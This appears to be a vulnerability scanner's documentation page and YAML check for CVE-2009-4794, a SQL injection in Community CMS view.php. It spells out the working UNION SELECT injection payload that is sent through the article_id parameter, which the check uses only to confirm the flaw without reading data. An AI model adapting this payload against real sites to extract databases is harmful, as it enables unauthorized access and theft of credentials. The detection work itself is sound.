Community CMS — 1 vulnerability check

noctis ships 1 vulnerability check for Community CMS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Community CMS view.php article_id SQL Injection

CVECVE-2009-4794
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/community-cms/CVE-2009-4794.yaml

Community CMS 0.5 and earlier put the article_id parameter of view.php unquoted into an SQL query and print the returned article, allowing unauthenticated SQL injection (an attacker can read the whole database, including user names and password hashes).

This check requests view.php under the web root and the usual install paths with an article_id that is a UNION SELECT of an expression multiplying two random numbers, for both the 9-column (0.5) and 8-column (0.4) news table. The vulnerability is confirmed when the article page returns the product computed by the database, which never appears in the request. No table data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/view.php?article_id={{sc.q9}}
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/view.php?article_id={{sc.q8}}
  5. Parses / computes the next value with a Rhai script
  6. Checks hit_dir for ^/ → finding QoD 97: Community CMS view.php article_id SQL Injection (CVE-2009-4794)

References:

Feed source — tests/vulnerabilities/community-cms/CVE-2009-4794.yaml
# Community CMS <= 0.5 — view.php article_id SQL injection — CVE-2009-4794
#
# view.php (Community CMS 0.4 / 0.5, SourceForge communitycms, source history in the
# stephenjust/community-cms git mirror) builds
#     SELECT * FROM <prefix>news WHERE id = <$_GET['article_id']> LIMIT 1
# with article_id unquoted and unfiltered, then prints the row's name (in <title> and
# <strong>) and description columns in the article page. The news table has 9 columns
# in 0.5 (id, page, name, description, author, date, date_edited, image, showdate) and
# 8 in 0.4 (no date_edited). The fix (commit 77b7809, 2009-04-05, shipped in 0.6) casts
# article_id to int, so the payload becomes -1 and the page answers 404 "The article you
# requested could not be found.". A SQL error is not shown (num_rows on false → same
# 404 text), so there is no error-based variant.
#
# Detection (QoD 97), per candidate install dir:
#   article_id = -1 UNION ALL SELECT 1,2,C,C,5,6,7,8,9-- -   (then the 8-column form)
#   with C = CONCAT(0x4e4f43544953, a*b, 0x454e44) and random a, b. The vulnerable page
#   returns NOCTIS<a*b>END as the article name/description. The product is never in the
#   request, so only a database that evaluated the expression can return it.
# Read-only: no table referenced, nothing extracted, nothing written. Checked against a
# reconstruction of the 0.5 view.php (vulnerable and int-cast code, mysqli) on MariaDB
# through PHP 8.3.
#
# Better than the source NASL:
#   - the NASL only probes when <dir>/view.php answers 200, but the real view.php
#     without article_id answers "404 Not Found" (both 0.4 and 0.5), so it never fires
#     on a real install; this feed probes the injection directly;
#   - a database-computed value instead of the fixed hex-decoded "SQL-Injection-Test"
#     (a page echoing a decoded 0x literal, or a honeypot, cannot match);
#   - also tries the 8-column layout of 0.4, and the web root besides /cms.
#
# Source: OpenVAS/Greenbone NVT 2009/gb_community_cms_34303.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100104, GPL-2.0-only).
uid: 4301217d-143b-4aad-a132-6e5f69b49d7a
name: "Community CMS view.php article_id SQL Injection (CVE-2009-4794)"
description: |
  Community CMS 0.5 and earlier put the article_id parameter of view.php unquoted into
  an SQL query and print the returned article, allowing unauthenticated SQL injection
  (an attacker can read the whole database, including user names and password hashes).

  This check requests view.php under the web root and the usual install paths with an
  article_id that is a UNION SELECT of an expression multiplying two random numbers,
  for both the 9-column (0.5) and 8-column (0.4) news table. The vulnerability is
  confirmed when the article page returns the product computed by the database, which
  never appears in the request. No table data is read and nothing is written.
cves: [CVE-2009-4794]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [community-cms, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4794"
  - "https://www.exploit-db.com/exploits/8323"
  - "http://www.securityfocus.com/bid/34303"
  - "https://sourceforge.net/projects/communitycms/"
  # OpenVAS/Greenbone NASL 2009/gb_community_cms_34303.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected value and the encoded article_id payloads ───
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         q9: "-1%20UNION%20ALL%20SELECT%201,2," + c + "," + c + ",5,6,7,8,9--%20-",
         q8: "-1%20UNION%20ALL%20SELECT%201,2," + c + "," + c + ",5,6,7,8--%20-" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  - id: init-how
    action: set_var
    var_name: hit_how
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-r9
    action: set_var
    var_name: r9
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/cms", "/communitycms", "/community-cms", "/community"]

  - id: init-r8
    action: set_var
    var_name: r8
    var_value: {status: 0, body: ""}

  - id: probe-9
    action: http_request
    method: GET
    path: "{{dir}}/view.php?article_id={{sc.q9}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: r9

  - id: check-9
    action: script
    condition: 'hit_dir == ""'
    code: |
      let body = if type_of(r9.body) == "string" { r9.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  - id: how-9
    action: set_var
    condition: 'hit_dir != "" && hit_how == ""'
    var_name: hit_how
    var_value: "view.php?article_id=-1 UNION ALL SELECT 1,2,CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),CONCAT(...),5,6,7,8,9-- - returned the database-computed value {{sc.want}} as the article"

  - id: probe-8
    action: http_request
    method: GET
    path: "{{dir}}/view.php?article_id={{sc.q8}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: r8

  - id: check-8
    action: script
    condition: 'hit_dir == ""'
    code: |
      let body = if type_of(r8.body) == "string" { r8.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  - id: how-8
    action: set_var
    condition: 'hit_dir != "" && hit_how == ""'
    var_name: hit_how
    var_value: "view.php?article_id=-1 UNION ALL SELECT 1,2,CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),CONCAT(...),5,6,7,8-- - (8-column news table) returned the database-computed value {{sc.want}} as the article"

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "Community CMS view.php article_id SQL Injection (CVE-2009-4794)"
        description: "An unauthenticated request to view.php with an article_id carrying a multiplication of two random numbers returned the product computed by the database: article_id reaches the SQL query unquoted, so an attacker can read the whole database (including user names and password hashes)."
        remediation: "Upgrade Community CMS to 0.6 or later, which casts article_id (and the calendar event id) to an integer, or remove the application (no longer maintained)."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_dir}}: {{hit_how}}"
      stop: true

View these feeds on GitHub